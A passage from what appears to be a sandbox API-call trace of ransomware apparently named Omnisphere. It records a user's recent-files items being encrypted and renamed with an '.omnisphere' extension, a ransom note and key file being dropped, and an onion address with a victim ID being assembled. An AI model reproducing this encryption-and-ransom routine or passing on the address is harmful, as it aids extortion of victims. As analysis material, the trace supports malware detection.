hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.266] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.266] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.266] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.266] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.267] GetProcessHeap () returned 0x1600000 [0128.267] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1713768 [0128.267] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8ab77100df80ab2.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8ab77100df80ab2.automaticdestinations-ms.omnisphere")) returned 1 [0128.268] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms.omnisphere.id" [0128.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8ab77100df80ab2.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.269] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.272] CloseHandle (hObject=0x388) returned 1 [0128.272] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.272] CloseHandle (hObject=0x3c0) returned 1 [0128.272] SetEndOfFile (hFile=0x288) returned 1 [0128.272] FlushFileBuffers (hFile=0x288) returned 1 [0128.276] CloseHandle (hObject=0x288) returned 1 [0128.276] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.276] GetProcessHeap () returned 0x1600000 [0128.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1713e08 [0128.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.276] GetProcessHeap () returned 0x1600000 [0128.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1f78 [0128.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1f78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.277] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.277] GetProcessHeap () returned 0x1600000 [0128.277] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710800 [0128.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710800, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.277] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.277] GetProcessHeap () returned 0x1600000 [0128.277] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb0c8 [0128.277] PathCombineW (in: pszDest=0x16fb0c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.277] GetProcessHeap () returned 0x1600000 [0128.277] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170bf40 [0128.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.277] WriteFile (in: hFile=0x288, lpBuffer=0x170bf40*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170bf40*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.278] CloseHandle (hObject=0x288) returned 1 [0128.278] GetProcessHeap () returned 0x1600000 [0128.278] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1713e08 | out: hHeap=0x1600000) returned 1 [0128.278] GetProcessHeap () returned 0x1600000 [0128.278] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.278] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.278] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.278] CloseHandle (hObject=0x288) returned 1 [0128.279] GetProcessHeap () returned 0x1600000 [0128.279] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.279] GetProcessHeap () returned 0x1600000 [0128.279] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.279] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646f8d57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x646f8d57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x646f8d57, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="b8b3a97bfbf120b6.automaticDestinations-ms", cAlternateFileName="B8B3A9~1.AUT")) returned 1 [0128.279] GetProcessHeap () returned 0x1600000 [0128.279] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.279] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="b8b3a97bfbf120b6.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms" [0128.279] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8b3a97bfbf120b6.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8b3a97bfbf120b6.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.280] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.280] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.280] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.282] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.283] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.283] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.283] CloseHandle (hObject=0x3c0) returned 1 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.283] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] GetTickCount () returned 0x1160017 [0128.284] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668570) returned 1 [0128.285] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: 